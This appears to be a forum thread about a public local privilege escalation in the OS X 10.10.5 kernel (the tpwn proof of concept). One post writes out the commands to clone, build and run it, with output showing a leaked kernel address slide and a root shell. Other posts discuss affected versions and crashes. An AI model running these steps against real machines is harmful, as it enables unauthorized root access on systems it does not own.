OS X 10.10.5 kernel local privilege escalation
1–10 of 143 posts
Re: OS X 10.10.5 kernel local privilege escalation
#2So for anyone who hasn't tried it but is wondering about it - it works on 10.10.4 and 10.10.5, running the tpwn binary does drop you to a root shell. Looks like a weakness in the address randomization in OS X
Re: OS X 10.10.5 kernel local privilege escalation
#3At least 10.11 isn't vulnerable
Re: OS X 10.10.5 kernel local privilege escalation
#4And here I was pressing "update later tonight." Thanks for the heads up!
Re: OS X 10.10.5 kernel local privilege escalation
#5[deleted]
Re: OS X 10.10.5 kernel local privilege escalation
#6$ git clone https://github.com/kpwn/tpwn.git
Cloning into 'tpwn'...
remote: Counting objects: 16, done.
remote: Compressing objects: 100% (11/11), done.
remote: Total 16 (delta 3), reused 16 (delta 3), pack-reused 0
Unpacking objects: 100% (16/16), done.
Checking connectivity... done.
$ cd tpwn
$ make
gcc *.m -o tpwn -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3
strip tpwn
$ ./tpwn
leaked kaslr slide, @ 0x0000000008e00000
sh-3.2# whoami
root
sh-3.2#
Shit's real.
Edit: for those of you wondering, no, I didn't just run this willy-nilly. I read the code thoroughly and determined there were no side-effects aside from just the PoC dropping to a root shell.
Re: OS X 10.10.5 kernel local privilege escalation
#7I'm running 10.10.4, and it just crashed my Mac -- the "A problem has occurred" screen -- followed by a forced restart.
Re: OS X 10.10.5 kernel local privilege escalation
#8Does it work on 10.11 with "rootless" mode disabled?
Re: OS X 10.10.5 kernel local privilege escalation
#9I'm running 10.10.4, and it just crashed my Mac -- the "A problem has occurred" screen -- followed by a forced restart.
If I run echo '' | ./tpwn in a loop on 10.10.4, I get a kernel panic about 0.5% of the time, so you might have just gotten really unlucky.
Re: OS X 10.10.5 kernel local privilege escalation
#10So for anyone who hasn't tried it but is wondering about it - it works on 10.10.4 and 10.10.5, running the tpwn binary does drop you to a root shell. Looks like a weakness in the address randomization in OS X
I haven't look into this vulnerability, but how could it be a weakness in address randomization? Isn't address randomization supposed to be a mitigation, to make it more difficult to exploit other vulnerabilities.